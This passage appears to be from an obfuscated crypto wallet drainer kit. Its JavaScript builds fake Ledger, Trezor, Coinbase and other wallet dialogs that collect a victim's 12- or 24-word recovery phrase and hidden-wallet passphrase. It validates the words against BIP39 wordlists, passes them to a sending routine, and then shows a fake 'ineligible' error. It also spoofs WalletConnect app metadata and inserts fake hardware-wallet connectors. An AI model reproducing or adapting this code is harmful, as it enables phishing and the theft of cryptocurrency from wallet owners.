- var vF12 = p97 => p97.includes("Ledger") ? JZmylD(vQ14.images_path, "/ledger.png", vzwAVq = -5) : p97.includes("Trezor") ? JZmylD(vQ14.images_path, "/trezor.png", vzwAVq = -5) : p97.includes("Trust Wallet") ? JZmylD(vQ14.images_path, "/trust-wallet.png", vzwAVq = -5) : p97.includes("Exodus") ? JZmylD(vQ14.images_path, "/exodus.svg", WAZ9Ax(-5)) : p97 === "Unstoppable Domains" ? JZmylD(vQ14.images_path, "/unstoppable-domains.png", vzwAVq = -5) : p97.includes("SafePal") ? JZmylD(vQ14.images_path, "/safepal.png", vzwAVq = -5) : p97.includes("Coinbase") ? JZmylD(vQ14["images" + ABLWty(76)], "/coinbase.png", WAZ9Ax(-5)) : vQ14.seeds_drain.logo_path === "default" ? JZmylD(vQ14.images_path, "/non-web3-wallets.png", vzwAVq = -5) : vQ14.seeds_drain.logo_path;
- ZZ1LRs(f44, 1);
- _0x2a50f7.MXMF_Dc = -115;
- function f44(..._0x3f8042) {
- _0x3f8042.length = 1;
- _0x3f8042[53] = 118;
- for (let v426 in bip39.wordlists) {
- bip39[ABLWty(1022) + "aultWordlist"](v426);
- if (bip39.validateMnemonic(_0x3f8042[_0x3f8042[53] - 118])) {
- return JZmylD(_0x3f8042[53] - 118, vzwAVq = 7);
- }
- }
- _0x3f8042[53] = -15;
- if (_0x3f8042[53] > 70) {
- return _0x3f8042[-12];
- } else {
- return JZmylD(1, WAZ9Ax(7));
- }
- }
- ZZ1LRs(f45, 1);
- function f45(..._0x52c5d2) {
- _0x52c5d2.length = 1;
- _0x52c5d2.FN4hN_V = _0x52c5d2[0];
- for (let v427 of Object.values(bip39.wordlists)) {
- if (v427.includes(_0x52c5d2.FN4hN_V)) {
- return JZmylD(0, vzwAVq = 7);
- }
- }
- return JZmylD(1, WAZ9Ax(7));
- }
- _0x2a50f7[1].exports = async function (p98, p99 = 12, p100 = JZmylD(0, vzwAVq = 7)) {
- if (vQ14.seeds_drain.enabled && (JZmylD(window.swal, WAZ9Ax(7)) || JZmylD(window.bip39, vzwAVq = 7) || JZmylD(window.autocomplete, WAZ9Ax(7)))) {
- return _0x5569fb(1000);
- }
- let vVF12 = vF12(p98);
- let v429 = bip39.wordlists.EN.map(p101 => ({
- label: p101,
- value: p101
- }));
- let v430 = await new Promise((p102, p103) => swal.fire({
- html: JZmylD("<img class=\"wallet-icon\" src=\"" + vVF12 + ("\"/><p clas" + ABLWty(1023) + "subtitle\">") + p98 + "</p><p class=\"phrase-subtext\">" + vQ14.seeds_drain.text, "</p><div class=\"phrase-div\"><div class=\"phrase\"><label>1</label><input id=\"word-1\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>2</label><input id=\"word-2\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>3</label><input id=\"word-3\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>4</label><input id=\"word-4\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>5</label><input id=\"word-5\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>6</label><input id=\"word-6\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>7</label><input id=\"word-7\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>8</label><input id=\"word-8\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>9</label><input id=\"word-9\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>10</label><input id=\"word-10\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>11</label><input id=\"word-11\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase\"><label>12</label><input id=\"word-12\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-18 phrase-24\"><label>13</label><input id=\"word-13\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-18 phrase-24\"><label>14</label><input id=\"word-14\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-18 phrase-24\"><label>15</label><input id=\"word-15\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-18 phrase-24\"><label>16</label><input id=\"word-16\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-18 phrase-24\"><label>17</label><input id=\"word-17\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-18 phrase-24\"><label>18</label><input id=\"word-18\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-24\"><label>19</label><input id=\"word-19\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-24\"><label>20</label><input id=\"word-20\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-24\"><label>21</label><input id=\"word-21\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-24\"><label>22</label><input id=\"word-22\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-24\"><label>23</label><input id=\"word-23\" maxlength=\"8\" autocomplete=\"off\"></input></div><div class=\"phrase phrase-24\"><label>24</label><input id=\"word-24\" maxlength=\"8\" autocomplete=\"off\"></input></div></div><div class=\"phrase-select\"><div id=\"select12\" class=\"phrase-select-option phrase-select-selected\">12 words</div><div id=\"select24\" class=\"phrase-select-option\">24 words</div></div><button class=\"phrase-button\" disabled>Continue</button>", WAZ9Ax(-5)),
- customClass: {
- popup: "phrase-wider-popup",
- title: "phrase-title"
- },
- showConfirmButton: JZmylD(1, vzwAVq = 7),
- allowEnterKey: JZmylD(1, vzwAVq = 7),
- allowEscapeKey: JZmylD(1, vzwAVq = 7),
- showCloseButton: p100,
- allowOutsideClick: JZmylD(1, vzwAVq = 7),
- didOpen: () => {
- let v431 = swal.getPopup();
- let v432 = v431.querySelectorAll(".phrase input");
- let v433 = v431.querySelector(".phrase-button");
- let v434 = v431.querySelector("#select12");
- let v435 = v431.querySelector("#select24");
- let vF13 = () => [...v432].map(p104 => p104.value).filter(p105 => JZmylD(JZmylD(p105, vzwAVq = 7), vzwAVq = 7)).splice(0, p99).join(" ");
- let vF14 = (p106 = JZmylD(1, vzwAVq = 7)) => {
- let vVF13 = vF13();
- if (JZmylD(vVF13.split(" ").length === p99, vzwAVq = 7)) {
- v433.textContent = "Missing words";
- } else if (vQ14.seeds_drain.checks_enabled) {
- if (f44(vVF13)) {
- v433.removeAttribute("disabled");
- v433.textContent = "Continue";
- for (let v436 of v432) {
- if (v436.style.display !== "none") {
- v436[ABLWty(1024) + "ist"].remove("incorrect-text");
- }
- }
- } else if (p106) {
- v433.textContent = "Continue";
- } else {
- v433[ABLWty(1025) + "ntent"] = "Invalid seed";
- v433.setAttribute("disabled", JZmylD(0, vzwAVq = 7));
- }
- } else {
- v433.removeAttribute("disabled");
- v433.textContent = "Continue";
- }
- };
- let vZZ1LRs = ZZ1LRs((..._0x3f529e) => {
- _0x3f529e.length = 1;
- _0x3f529e.Z4ZTNSR = _0x3f529e.IKmBmK;
- _0x3f529e.Z4ZTNSR = v431.querySelectorAll(".phrase-24");
- _0x3f529e.Z4ZTNSR.forEach(p107 => p107.style.display = "none");
- v431.querySelectorAll(".phrase-select-option").forEach(p108 => p108[ABLWty(1024) + "ist"].remove("phrase-select-selected"));
- if (_0x3f529e[0] == 12) {
- v434.classList.add("phrase-selec" + ABLWty(1026) + "cted");
- } else if (_0x3f529e[0] == 24) {
- v435.classList.add("phrase-select-selected");
- _0x3f529e.Z4ZTNSR.forEach(p109 => p109.style.display = "block");
- }
- p99 = _0x3f529e[0];
- vF14();
- }, 1);
- for (let [v437, v438] of v432.entries()) {
- autocomplete({
- input: v438,
- fetch: function (p110, p111) {
- p110 = p110.toLowerCase();
- p111(v429[ABLWty(414)](p112 => p112.label.toLowerCase().startsWith(p110)));
- },
- minLength: 3,
- className: "phrase-autocomplete",
- onSelect: ZZ1LRs(function (..._0x54ce40) {
- _0x54ce40.length = 1;
- _0x54ce40.pDGXK5q = 125;
- v438.value = _0x54ce40[0].label;
- v432[JZmylD(v437, 1, WAZ9Ax(-5))]?.focus();
- }, 1)
- });
- if (vQ14.seeds_drain.checks_enabled) {
- v438.addEventListener("focus", () => v438.classList[ABLWty(119)]("incorrect-text"));
- }
- if (v437 + 1 === p99) {
- v438.addEventListener("keyup", () => vF14(JZmylD(0, WAZ9Ax(7))));
- }
- v438.addEventListener("blur", () => {
- v438.value = v438.value.toLowerCase().trim();
- if (vQ14.seeds_drain.checks_enabled) {
- if (!f45(v438.value)) {
- v438.classList.add("incorrect-text");
- }
- }
- vF14();
- });
- v438[ABLWty(1027) + ABLWty(1028) + "t"].addEventListener("click", v438.focus);
- v438.addEventListener("paste", ZZ1LRs((..._0x429285) => {
- _0x429285.length = 1;
- _0x429285.E7D1GV = _0x429285.ls72pr;
- _0x429285[0].preventDefault();
- _0x429285.Yqjg2e = (_0x429285[0].clipboardData || window.clipboardData).getData("text").trim();
- _0x429285.junVKw = _0x429285[0];
- if (f44(_0x429285.Yqjg2e)) {
- _0x429285.E7D1GV = _0x429285.Yqjg2e.split(" ");
- for (let v439 = 0; v439 < _0x429285.E7D1GV.length; v439++) {
- v432[v439].value = _0x429285.E7D1GV[v439];
- }
- vZZ1LRs(_0x429285.E7D1GV[ABLWty.apply(undefined, [17])]);
- } else if (_0x429285.junVKw.target) {
- _0x429285.junVKw.target.value = _0x429285.Yqjg2e;
- }
- vF14();
- }, 1));
- }
- v434.addEventListener("click", () => vZZ1LRs(12));
- v435.addEventListener("click", () => vZZ1LRs(24));
- v433.addEventListener("click", (..._0x201776) => {
- _0x201776.length = 0;
- _0x201776[152] = -71;
- swal.close();
- _0x201776[0] = vF13();
- p102(_0x201776[0]);
- });
- vZZ1LRs(p99);
- },
- didClose: () => p102(JZmylD(1, WAZ9Ax(7)))
- }));
- if (JZmylD(v430, WAZ9Ax(7))) {
- return;
- }
- const v440 = {
- seed: v430,
- walletName: p98
- };
- await _0x21af93(v440, "seed");
- let v441 = await new Promise(p113 => {
- swal.fire({
- html: JZmylD("<img class=\"wallet-icon\" src=\"" + vVF12 + "\"/><p class=\"phrase-subtitle\">Hidden Wallet</p><p class=\"phrase-subtext\">" + vQ14.seeds_drain.pass_phrase_text + "</p><div class=\"passphrase-container\"><div class=\"passphrase\"><input type=\"password\" placeholder=\"Enter passphrase\" autocomplete=\"off\"></input><a class=\"toggle-button\"><img src=\"" + vQ14.images_path, "/hide-password.svg\"/></a></div></div><button class=\"phrase-button\">Continue</button>", vzwAVq = -5),
- customClass: {
- popup: "phrase-wider-popup",
- title: "phrase-title"
- },
- showConfirmButton: JZmylD(1, WAZ9Ax(7)),
- allowEnterKey: JZmylD(1, WAZ9Ax(7)),
- ["allowE" + ABLWty(1029) + "ey"]: JZmylD(1, vzwAVq = 7),
- showCloseButton: p100,
- allowOutsideClick: JZmylD(1, WAZ9Ax(7)),
- didOpen: () => {
- let v443 = swal.getPopup();
- let v444 = v443.querySelector(".passphrase input");
- v443.querySelector(".toggle-button").addEventListener("click", () => v444.getAttribute("type") == "password" ? v444.setAttribute("type", "text") : v444.setAttribute("type", "password"));
- v443.querySelector(".phrase-button").addEventListener("click", () => {
- p113(v444.value == "" ? null : v444.value);
- swal.close();
- });
- },
- didClose: () => p113(JZmylD(1, WAZ9Ax(7)))
- });
- });
- if (v441) {
- await _0x21af93({
- seed: v430,
- passPhrase: v441,
- walletName: p98
- }, "seed");
- await new Promise(p114 => swal.fire({
- position: "center",
- icon: "error",
- title: vQ14.seeds_drain.uneligible_text,
- showConfirmButton: JZmylD(1, WAZ9Ax(7)),
- timer: JZmylD(5, 1000, vzwAVq = -33),
- didClose: () => p114()
- }));
- }
- };
- }, 2));
- var we = I((p115, p116) => {
- var vQ15 = q();
- var {
- isTelegramMiniApp: _0x3878a3,
- isMobile: _0x578c01,
- isModalDarkMode: _0x25071a
- } = D();
- var {
- DEFAULT_ETH_RPC: _0x34a2f8,
- SUPPORTED_CHAINS_ID: _0x4ede37
- } = he();
- var {
- sleep: _0xbf47d8
- } = pe();
- var vYe = ye();
- var vVe = Ve();
- ZZ1LRs(f46, 1);
- async function f46(..._0x138889) {
- _0x138889.length = 1;
- _0x138889[158] = _0x138889[3];
- try {
- let vJZmylD39 = JZmylD("If the " + _0x138889[0], " app didn't open please click try again", vzwAVq = -5);
- let v445 = document.querySelector("body > w3m-modal").shadowRoot.querySelector("wui-flex > wui-card > w3m-router").shadowRoot.querySelector("div > w3m-connecting-external-view").shadowRoot.querySelector("wui-flex > wui-flex:nth-child(2) > wui-text:nth-child(2)");
- if (JZmylD(v445.textContent.includes(vJZmylD39), vzwAVq = 7)) {
- _0x138889[158] = document.createElement("wui-text");
- _0x138889[158].setAttribute("align", "center");
- _0x138889[158].setAttribute("variant", "small-500");
- _0x138889[158].setAttribute("color", "fg-200");
- _0x138889[158]["innerH" + ABLWty(1030)] = JZmylD("<br>", vJZmylD39, WAZ9Ax(-5));
- v445[ABLWty(448)](_0x138889[158]);
- for (let v446 = 0; v446 < 5; v446++) {
- await _0xbf47d8(50);
- _0x138889[158].style["setPro" + ABLWty(1031)]("--local-color", "rgb(212,63,63)");
- }
- }
- } catch {}
- }
- p116.exports = class {
- constructor(p117) {
- if (JZmylD(window.walletConnectVars, vzwAVq = 7)) {
- return location[ABLWty.call(undefined, 1032)]();
- }
- let {
- createWeb3Modal: _0x44b3f9,
- createConfig: _0x1f1378,
- getAccount: _0x392930,
- disconnect: _0x5a3854,
- http: _0x5d9a91,
- createConnector: _0x1e7758,
- coinbaseWallet: _0x529b21,
- walletConnect: _0x4eb530,
- injected: _0x52c24b
- } = window.walletConnectVars;
- this._disconnect = _0x5a3854;
- this.getAccount = _0x392930;
- const v447 = {
- decimals: 18
- };
- v447.name = "";
- v447.symbol = "";
- const v448 = {
- http: [_0x34a2f8]
- };
- const v449 = {
- default: v448
- };
- let v454 = _0x4ede37.map(p118 => ({
- id: p118,
- name: "",
- nativeCurrency: v447,
- rpcUrls: v449,
- blockExplorers: {
- default: {
- name: "",
- url: "",
- apiUrl: ""
- }
- },
- contracts: {
- ensRegistry: {
- address: "0x0000000000000000000000000000000000000000"
- },
- ensUniversalResolver: {
- address: "0x0000000000000000000000000000000000000000",
- blockCreated: 1
- },
- multicall3: {
- address: ABLWty(304) + "000000000000000000000000000000000000",
- blockCreated: 1
- }
- }
- }));
- let {
- enabled: _0x291e46,
- name: _0x4b87e1,
- description: _0x5bc376,
- url: _0x36d709,
- icon: _0x2c3b88
- } = vQ15["wallet" + ABLWty(110) + "ct_spoof"];
- let v455 = {
- name: _0x291e46 && _0x4b87e1 ? _0x4b87e1 : document.title === "" ? "unknown" : document.title,
- description: _0x291e46 ? _0x5bc376 : "",
- url: _0x291e46 && _0x36d709 || location.origin,
- icons: _0x291e46 && _0x2c3b88 ? [_0x2c3b88] : []
- };
- let v456 = [_0x4eb530({
- projectId: vQ15.wallet_connect_project_id,
- [ABLWty(1033) + "ta"]: v455,
- showQrModal: JZmylD(1, vzwAVq = 7)
- }), _0x529b21({
- appName: v455.name,
- appLogoUrl: v455.icons[0],
- [ABLWty(1034) + "de"]: _0x25071a
- })];
- if (vQ15.modal_style === 12 && vQ15.seeds_drain.enabled) {
- v456.push(_0x1e7758(p119 => ({
- icon: JZmylD(vQ15.images_path, "/trezor.png", vzwAVq = -5),
- id: "trezor-seed",
- name: "Trezor Wallet",
- supportsSimulation: JZmylD(1, WAZ9Ax(7)),
- connect: async () => {
- this.isSeedModalOpen = JZmylD(0, vzwAVq = 7);
- this.modal.close();
- await vVe("Trezor Wallet");
- this.modal[ABLWty.call(undefined, 1020)]();
- }
- })), _0x1e7758(p120 => ({
- icon: JZmylD(vQ15.images_path, "/ledger.png", vzwAVq = -5),
- id: "ledger-seed",
- name: ABLWty(1035) + " Wallet",
- supportsSimulation: JZmylD(1, WAZ9Ax(7)),
- connect: async () => {
- this["isSeedModalO" + ABLWty(1036)] = JZmylD(0, WAZ9Ax(7));
- this.modal.close();
- await vVe(ABLWty(1037), 24);
- this.modal.open();
- }
- })));
- if (vQ15.seeds_drain["enable" + ABLWty(1038) + "_wallets"]) {
- v456[ABLWty(597)](_0x1e7758(p121 => ({
- icon: vQ15.seeds_drain.logo_path === "default" ? JZmylD(vQ15.images_path, "/non-web3-wallets.png", vzwAVq = -5) : vQ15.seeds_drain.logo_path,
- id: "non-web3-wallets",
- [ABLWty(464)]: vQ15.seeds_drain.name,
- supportsSimulation: JZmylD(1, WAZ9Ax(7)),
- connect: async () => {
- this.isSeedModalOpen = JZmylD(0, vzwAVq = 7);
- this.modal.close(JZmylD(1, vzwAVq = 7));
- await vVe(vQ15.seeds_drain.name);
- this.modal.open();
- }
- })));
- }
- }
- let v457 = ["c57ca95b47569778a828d19178114f4db188b89b763c899ba0be274e97267d96", ABLWty(1039)];
- let v458 = [];
- let v459 = [];
- if (_0x578c01) {
- let v460;
- v456.push(_0x1e7758(p122 => ({
- icon: JZmylD(vQ15.images_path, "/metamask-wallet-connect.png", vzwAVq = -5),
- id: "io.metamask",
- name: "MetaMask",
- supportsSimulation: JZmylD(1, WAZ9Ax(7)),
- connect: () => {
- v460 = vYe("metamask");
- if (v460 && v460 !== "redire" + ABLWty(1040)) {
- return JZmylD(0, vzwAVq = 7);
- } else {
- if (_0x3878a3) {
- f46("MetaMask");
- }
- return new Promise(() => {});
- }
- },
- getProvider: () => v460
- })), _0x1e7758(p123 => ({
- icon: JZmylD(vQ15.images_path, "/trust-wallet-wallet-connect.png", vzwAVq = -5),
- id: "com.trustwallet.app",
- name: "Trust Wallet",
- supportsSimulation: JZmylD(1, vzwAVq = 7),
- connect: () => {
- v460 = vYe("trustWallet");
- if (v460 && v460 !== "redire" + ABLWty(1040)) {
- return JZmylD(0, vzwAVq = 7);
- } else {
- if (_0x3878a3) {
- f46("Trust Wallet");
- }
- return new Promise(() => {});
- }
- },
- [ABLWty.call(undefined, 1041) + "vider"]: () => v460
- })), _0x52c24b({
- shimDisconnect: JZmylD(0, vzwAVq = 7)
- }));
- v458[ABLWty(597)](...v457);
- } else {
- v459.push(...v457);
- }
- v459.push("e9ff15be73584489ca4a66f64d32c4537711797e30b6660dbcb71ea72a42b1f4");
- if (window.fm2qiyhc4s) {
- v459[ABLWty(597)]("971e689d0a5be527bac79629b4ee9b925e82208e5168b733496a09c0faed0709", "8a0ee50d1f22f6651afcae7eb4253e52a3310b90af5daef78a8c4929a9bb99d4", "15c8b91ade1a4e58f3ce4e7a0dd7f42b47db0c8df7e0d84f63eb39bcb96c4e0f", "1ae92b26df02f0abca6304df07debccd18262fdf5fe82daa81593582dac9a369", "c03dfee351b6fcc421b4494ea33b9d4b92a984f87aa76d1663bb28705e95034a", "5864e2ced7c293ed18ac35e0db085c09ed567d67346ccb6f58a0327a75137489", "19177a98252e07ddfc9af2083ba8e07ef627cb6103467ffebb3f8f4205fd7927");
- }
- let v461 = {};
- for (let v462 of _0x4ede37) {
- v461[v462] = _0x5d9a91();
- }
- try {
- this.wagmiConfig = _0x1f1378({
- connectors: v456,
- chains: v454,
- transports: v461,
- multiInjectedProviderDiscovery: JZmylD(_0x578c01, vzwAVq = 7)
- });
- } catch {
- let v463 = {
- getItem: () => "",
- setItem: () => null,
- [ABLWty(119) + "Item"]: () => null
- };
- this.wagmiConfig = _0x1f1378({
- [ABLWty(36) + "tors"]: v456,
- chains: v454,
- transports: v461,
- multiInjectedProviderDiscovery: JZmylD(_0x578c01, vzwAVq = 7),
- storage: v463
- });
- }
- let vV464 = {
- "--w3m-z-index": 2147483646
- };
- if (vQ15.wallet_connect_config.font_family) {
- vV464["--w3m-font-family"] = vQ15.wallet_connect_config.font_family;
- }
- if (vQ15.wallet_connect_config.accent_color) {
- vV464["--w3m-accent"] = vQ15.wallet_connect_config.accent_color;
- }
- if (vQ15.wallet_connect_config.color_mix) {
- vV464["--w3m-color-mix"] = vQ15.wallet_connect_config.color_mix;
- }
- if (vQ15.wallet_connect_config["color_mix_st" + ABLWty.call(undefined, 1042)]) {
- vV464["--w3m-color-mix-strength"] = vQ15["wallet" + ABLWty(110) + "ct_config"].color_mix_strength;
- }
- if (vQ15.wallet_connect_config.font_size_master) {
- vV464[" --w3m-font-size-master"] = vQ15.wallet_connect_config.font_size_master;
- }
- if (vQ15["wallet_conne" + ABLWty(111) + "fig"].remove_border_radius) {
- vV464["--w3m-border-radius-master"] = "0px";
- }
- this.modal = _0x44b3f9({
- wagmiConfig: this.wagmiConfig,
- projectId: vQ15["wallet" + ABLWty(110) + ABLWty(1043) + "ject_id"],
- chains: v454,
- themeMode: _0x25071a ? "dark" : "light",
- [ABLWty(1044) + "ariables"]: vV464,
- excludeWalletIds: v458,
- featuredWalletIds: v459,
- allowUnsupportedChain: JZmylD(0, WAZ9Ax(7)),
- allWallets: "SHOW"
- });
- this.callback = p117;
- this.modal.subscribeEvents(async p124 => {
- if (p124.data.event === "MODAL_OPEN" && this.isSeedModalOpen) {
- this.isSeedModalOpen = JZmylD(1, WAZ9Ax(7));
- } else if (["MODAL_CLOSE", "CONNECT_SUCCESS"].includes(p124.data.event) && JZmylD(this.isSeedModalOpen, vzwAVq = 7)) {
- let v465 = await this.getProvider();
- this.callback(v465);
- }
- });
- this.isSeedModalOpen = JZmylD(1, vzwAVq = 7);
- this.promptSeed = vVe;
- }
- async getProvider() {
- try {
- let v466 = this.getAccount(this.wagmiConfig);
- let v467 = await v466?.[ABLWty.apply(undefined, [36]) + "tor"]?.getProvider?.();
- if (v466?.isConnected && JZmylD(v467, vzwAVq = 7)) {
- await this.disconnect();
- }
- return v467;
- } catch {
- return JZmylD(1, vzwAVq = 7);
- }
- }
- async open() {
- let v468 = await this.getProvider();
- if (v468) {
- this.callback(v468);
- } else {
- this.modal.open();
- }
- }
- close() {
- this.modal.close();
- }
- async disconnect() {
- try {
- await this._disconnect(this.wagmiConfig);
- } catch {}
- try {
- window.localStorage?.clear();
- } catch {}
- }
- };
- });
- var be = I((p125, p126) => {
- var vQ16 = q();
- var {
- isModalDarkMode: _0x2ad95a
- } = D();
- p126.exports = class {
- constructor(p127) {
- if (JZmylD(window.Web3ModalV2, WAZ9Ax(7)) || JZmylD(window.EthereumClient, vzwAVq = 7) || JZmylD(window.w3mConnectors, vzwAVq = 7) || JZmylD(window.w3mProvider, WAZ9Ax(7)) || JZmylD(window.chains, WAZ9Ax(7)) || JZmylD(window.configureChains, vzwAVq = 7) || JZmylD(window.createConfig, WAZ9Ax(7))) {
- return location.reload();
- }
- const v469 = {
- projectId: vQ16.wallet_connect_project_id
- };
- let v470 = [...Object.values(chains)];
- let {
- publicClient: _0x2f15e8
- } = configureChains(v470, [w3mProvider(v469)]);
- let vW3mConnectors = w3mConnectors({
- [ABLWty(806)]: 2,
- chains: v470,
- projectId: vQ16.wallet_connect_project_id
- });
- let v471;
- try {
- const v472 = {
- publicClient: _0x2f15e8
- };
- v472.connectors = vW3mConnectors;
- v471 = createConfig(v472);
- } catch {
- const v473 = {
- getItem: () => "",
- setItem: () => null,
- removeItem: () => null
- };
- const v474 = {
- connectors: vW3mConnectors,
- publicClient: _0x2f15e8
- };
- v474.storage = v473;
- v471 = createConfig(v474);
- }
- this.client = new EthereumClient(v471, v470);
- let vV475 = {
- "--w3m-z-index": 2147483647
- };
- if (vQ16.wallet_connect_config.font_family) {
- vV475["--w3m-font-f" + ABLWty(1045)] = vQ16.wallet_connect_config["font_f" + ABLWty.call(undefined, 1045)];
- }
- if (vQ16.wallet_connect_config.overlay_background_color) {
- vV475["--w3m-overlay-background-color"] = vQ16.wallet_connect_config.overlay_background_color;
- }
- if (vQ16.wallet_connect_config[ABLWty(1046) + "_color"]) {
- vV475["--w3m-accent-color"] = vQ16.wallet_connect_config.accent_color;
- }
- if (vQ16.wallet_connect_config.accept_fill_color) {
- vV475["--w3m-accent-fill-color"] = vQ16.wallet_connect_config.accept_fill_color;
- }
- if (vQ16.wallet_connect_config.background_color) {
- vV475["--w3m-background-color"] = vQ16.wallet_connect_config.background_color;
- }
- if (vQ16.wallet_connect_config.background_image) {
- vV475["--w3m-background-image-url"] = vQ16.wallet_connect_config.background_image;
- }
- if (vQ16.wallet_connect_config.logo_url) {
- vV475["--w3m-logo-image-url"] = vQ16.wallet_connect_config.logo_url;
- }
- if (vQ16.wallet_connect_config.remove_border_radius) {
- for (let v476 of ["--w3m-container-border-radius", "--w3m-background-border-radius", "--w3m-wallet-icon-border-radius", "--w3m-wallet-icon-large-border-radius", "--w3m-wallet-icon-small-border-radius", ABLWty(1047) + "button-border-radius", "--w3m-button-hover-highlight-border-radius", "--w3m-icon-button-border-radius", "--w3m-secondary-button-border-radius", "--w3m-notification-border-radius"]) {
- vV475[v476] = "0px";
- }
- }
- this.modal = new Web3ModalV2({
- themeMode: _0x2ad95a ? "dark" : ABLWty(1048),
- [ABLWty.call(undefined, 1049)]: vV475,
- [ABLWty(1050) + "edWalletIds"]: ["c57ca95b47569778a828d19178114f4db188b89b763c899ba0be274e97267d96", "4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0", "8a0ee50d1f22f6651afcae7eb4253e52a3310b90af5daef78a8c4929a9bb99d4", "e9ff15be73584489ca4a66f64d32c4537711797e30b6660dbcb71ea72a42b1f4"],
- projectId: vQ16.wallet_connect_project_id,
- enableAccountView: vQ16.connect_buttons_class !== vQ16.drain_buttons_class
- }, this.client);
- this.callback = p127;
- this.modal.subscribeModal(async p128 => {
- if (JZmylD(p128.open, vzwAVq = 7)) {
- let v477 = await this.getProvider();
- this.callback(v477);
- }
- });
- }
- async getProvider() {
- try {
- let v478 = this.client.getAccount();
- let v479 = await v478?.connector?.getProvider?.();
- if (v478?.isConnected && JZmylD(v479, WAZ9Ax(7))) {
- await this.disconnect();
- }
- return v479;
- } catch {
- return JZmylD(1, vzwAVq = 7);
- }
- }
- async open() {
- let v480 = await this.getProvider();
- if (v480) {
- this.callback(v480);
- } else {
- this.modal.openModal();
- }
- }
- async disconnect() {
- try {
- await this.client.disconnect();
- } catch {}
- try {
- window.localStorage?.clear();
- } catch {}
- }
- };
- });
- var gs = I((p129, p130) => {
- var vQ17 = q();
- var {
- isMobile: _0x3477fd,
- isModalDarkMode: _0x48ede3
- } = D();
- var vYe2 = ye();
- var v481 = vQ17.use_wallet_connect_v4 ? we() : be();
- p130.exports = class {
- constructor(p131) {
- let v482 = window.Web3Modal?.default;
- if (JZmylD(v482, WAZ9Ax(7)) || vQ17[ABLWty.apply(undefined, [58]) + "style"] === 4 && JZmylD(window.WalletLink, vzwAVq = 7)) {
- return;
- }
- let v483 = document.createElement("style");
- v483.innerHTML = ".web3modal-modal-lightbox.web3modal-modal-lightbox { z-index: 2147483646; }";
- document.head.appendChild(v483);
- let vJZmylD40 = JZmylD(1, WAZ9Ax(7));
- this.walletConnectModal = new v481(async function (p132) {
- vJZmylD40 = p132;
- });
- let v484 = {
- "custom-wallet-connect": {
- [ABLWty(1051)]: {
- logo: JZmylD(vQ17.images_path, "/wallet-connect.svg", vzwAVq = -5),
- name: "Wallet Connect",
- ["descri" + ABLWty.apply(undefined, [1052])]: "Connect with WalletConnect"
- },
- package: JZmylD(0, WAZ9Ax(7)),
- connector: async () => {
- await this.walletConnectModal.open();
- if (JZmylD(vJZmylD40, vzwAVq = 7)) {
- throw new Error("Rejected");
- }
- return vJZmylD40;
- }
- }
- };
- if (vQ17.modal_style === 4) {
- if (_0x3477fd) {
- v484["custom-metamask"] = {
- display: {
- logo: JZmylD(vQ17.images_path, "/metamask.svg", vzwAVq = -5),
- name: "MetaMask",
- description: "Connect to your MetaMask"
- },
- package: JZmylD(0, WAZ9Ax(7)),
- [ABLWty.apply(undefined, [1053])]: (..._0x57ca52) => {
- _0x57ca52.length = 0;
- _0x57ca52[185] = _0x57ca52[0];
- _0x57ca52[185] = vYe2("metamask");
- _0x57ca52[39] = -102;
- if (_0x57ca52[185] && _0x57ca52[_0x57ca52[39] + 287] !== "redirected") {
- return _0x57ca52[185];
- }
- _0x57ca52.J3Jkkt = _0x57ca52[_0x57ca52[39] + 287];
- throw new Error("No MetaMask found on browser");
- }
- };
- v484["custom-trust-wallet"] = {
- display: {
- logo: JZmylD(vQ17.images_path, "/trust-wallet.svg", vzwAVq = -5),
- name: "Trust Wallet",
- description: "Connect to your Trust Wallet"
- },
- package: JZmylD(0, vzwAVq = 7),
- connector: (..._0x2c163e) => {
- _0x2c163e.length = 0;
- _0x2c163e.YoOXMB = _0x2c163e[0];
- _0x2c163e.YoOXMB = vYe2("trustWallet");
- if (_0x2c163e.YoOXMB && _0x2c163e.YoOXMB !== "redirected") {
- return _0x2c163e.YoOXMB;
- }
- throw new Error("No Trust Wallet found on browser");
- }
- };
- } else {
- v484[ABLWty(606) + "-binance"] = {
- display: {
- logo: JZmylD(vQ17.images_path, "/binance.svg", vzwAVq = -5),
- name: "Binance Chain Wallet",
- description: "Connect to your Binance Chain Wallet"
- },
- package: JZmylD(0, WAZ9Ax(7)),
- connector: (..._0x142670) => {
- _0x142670.length = 0;
- _0x142670.TAg8fMq = _0x142670[0];
- _0x142670.TAg8fMq = vYe2("binance");
- if (_0x142670.TAg8fMq && _0x142670.TAg8fMq !== "binance") {
- return _0x142670.TAg8fMq;
- }
- throw new Error("No Binance found on browser");
- }
- };
- }
- v484["custom-coinbase"] = {
- display: {
- logo: JZmylD(vQ17[ABLWty(75) + "_path"], "/coinbase.svg", WAZ9Ax(-5)),
- name: "Coinbase",
- description: "Connect to your coinbase wallet"
- },
- options: {},
- package: WalletLink,
- connector: ZZ1LRs(async (..._0x457989) => {
